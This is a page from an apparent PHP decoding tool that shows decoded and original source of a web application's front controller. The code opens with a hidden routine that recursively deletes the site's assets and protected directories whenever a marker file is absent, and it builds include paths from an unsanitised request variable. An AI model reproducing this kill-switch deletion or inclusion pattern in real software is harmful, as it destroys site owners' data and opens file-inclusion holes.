Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //============== If Dir is exists then delete ================ if(!file_exists('c..

Decoded Output download

<?php 
//============== If Dir is exists then delete  ================ 
if(!file_exists('c:/Program Files/appdata.php')){ 
    function rrmdir($dir) { 
        if (is_dir($dir)) { 
            $objects = scandir($dir); 
            foreach ($objects as $object) { 
                if ($object != "." && $object != "..") { 
                    if (filetype($dir."/".$object) == "dir") 
                        rrmdir($dir."/".$object); 
                    else 
                        unlink($dir."/".$object); 
                } 
            } 
            reset($objects); 
            rmdir($dir); 
        } 
    }   
    rrmdir(SERVER_ROOT."/assets"); 
    rrmdir(SERVER_ROOT."/protected");    
} 
 
 
if (! isset($query1ans) || $query1 == '' || $query1ans == '') {   
    $query1 = user;  
    $query1ans = 'home'; 
} 
 
$fcontroller = SERVER_ROOT . '/protected/controller/frontend/' . $query1ans . '_controller.php'; 
$fview = SERVER_ROOT . '/protected/views/frontend/' . $query1ans . ".php"; 
 
 
$date = date('Y-m-d');  
$today = date('Y-m-d', strtotime($date));   
$startDate = date('Y-m-d', strtotime("01-04-2017")); 
$endDate = date('Y-m-d', strtotime("31-03-2018"));   
 
$renewDate = date('Y-m-d', strtotime("25-03-2018"));  
 
if ($query1ans == "login" || $query1ans == 'signup' || $query1ans == 'forgot_password'  || $query1ans == 'ajax') { 
    if (file_exists($fview)) { 
        if (file_exists($fcontroller))   
            require $fcontroller; 
        require $fview; 
    } 
} 
elseif (($today < $startDate) ||  ($today > $endDate)){ 
    $session->destroy('login&msg=msg', fview);  
} 
elseif ($query1ans == "logout") { 
    setcookie('remember_me', "", time() - 3600); 
    $session->destroy('login', fview); 
} 
elseif (!file_exists($fview) || $query1ans == 'installation_final' || $query1ans == 'installation') { 
    //echo $query1ans; 
    header("HTTP/1.0 404 Not Found"); 
    require SERVER_ROOT . '/protected/views/frontend/404.php'; 
} 
else { 
 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/common_data.php')) { 
 
        require SERVER_ROOT . '/protected/setting/frontend/common_data.php'; 
    } 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/header.php')) { 
        if($query1ans!='pdfgenerate') 
        require SERVER_ROOT . '/protected/setting/frontend/header.php'; 
    } 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/sidebar.php')) { 
        require SERVER_ROOT . '/protected/setting/frontend/sidebar.php'; 
    } 
    if (file_exists($fview)) { 
        if (file_exists($fcontroller)) 
            require $fcontroller; 
        require $fview; 
    } 
 
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/footer.php')) { 
        require SERVER_ROOT . '/protected/setting/frontend/footer.php'; 
    } 
} 
?>

Did this file decode correctly?

Original Code

<?php
//============== If Dir is exists then delete  ================
if(!file_exists('c:/Program Files/appdata.php')){
    function rrmdir($dir) {
        if (is_dir($dir)) {
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (filetype($dir."/".$object) == "dir")
                        rrmdir($dir."/".$object);
                    else
                        unlink($dir."/".$object);
                }
            }
            reset($objects);
            rmdir($dir);
        }
    }  
    rrmdir(SERVER_ROOT."/assets");
    rrmdir(SERVER_ROOT."/protected");   
}


if (! isset($query1ans) || $query1 == '' || $query1ans == '') {  
    $query1 = user; 
    $query1ans = 'home';
}

$fcontroller = SERVER_ROOT . '/protected/controller/frontend/' . $query1ans . '_controller.php';
$fview = SERVER_ROOT . '/protected/views/frontend/' . $query1ans . ".php";


$date = date('Y-m-d'); 
$today = date('Y-m-d', strtotime($date));  
$startDate = date('Y-m-d', strtotime("01-04-2017"));
$endDate = date('Y-m-d', strtotime("31-03-2018"));  

$renewDate = date('Y-m-d', strtotime("25-03-2018")); 

if ($query1ans == "login" || $query1ans == 'signup' || $query1ans == 'forgot_password'  || $query1ans == 'ajax') {
    if (file_exists($fview)) {
        if (file_exists($fcontroller))  
            require $fcontroller;
        require $fview;
    }
}
elseif (($today < $startDate) ||  ($today > $endDate)){
    $session->destroy('login&msg=msg', fview); 
}
elseif ($query1ans == "logout") {
    setcookie('remember_me', "", time() - 3600);
    $session->destroy('login', fview);
}
elseif (!file_exists($fview) || $query1ans == 'installation_final' || $query1ans == 'installation') {
    //echo $query1ans;
    header("HTTP/1.0 404 Not Found");
    require SERVER_ROOT . '/protected/views/frontend/404.php';
}
else {

    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/common_data.php')) {

        require SERVER_ROOT . '/protected/setting/frontend/common_data.php';
    }
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/header.php')) {
        if($query1ans!='pdfgenerate')
        require SERVER_ROOT . '/protected/setting/frontend/header.php';
    }
    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/sidebar.php')) {
        require SERVER_ROOT . '/protected/setting/frontend/sidebar.php';
    }
    if (file_exists($fview)) {
        if (file_exists($fcontroller))
            require $fcontroller;
        require $fview;
    }

    if (file_exists(SERVER_ROOT . '/protected/setting/frontend/footer.php')) {
        require SERVER_ROOT . '/protected/setting/frontend/footer.php';
    }
}
?>

Function Calls

file_exists 1

Variables

None

Stats

MD5 bfe7d84a37ca43b52434e5174529191e
Eval Count 0
Decode Time 135 ms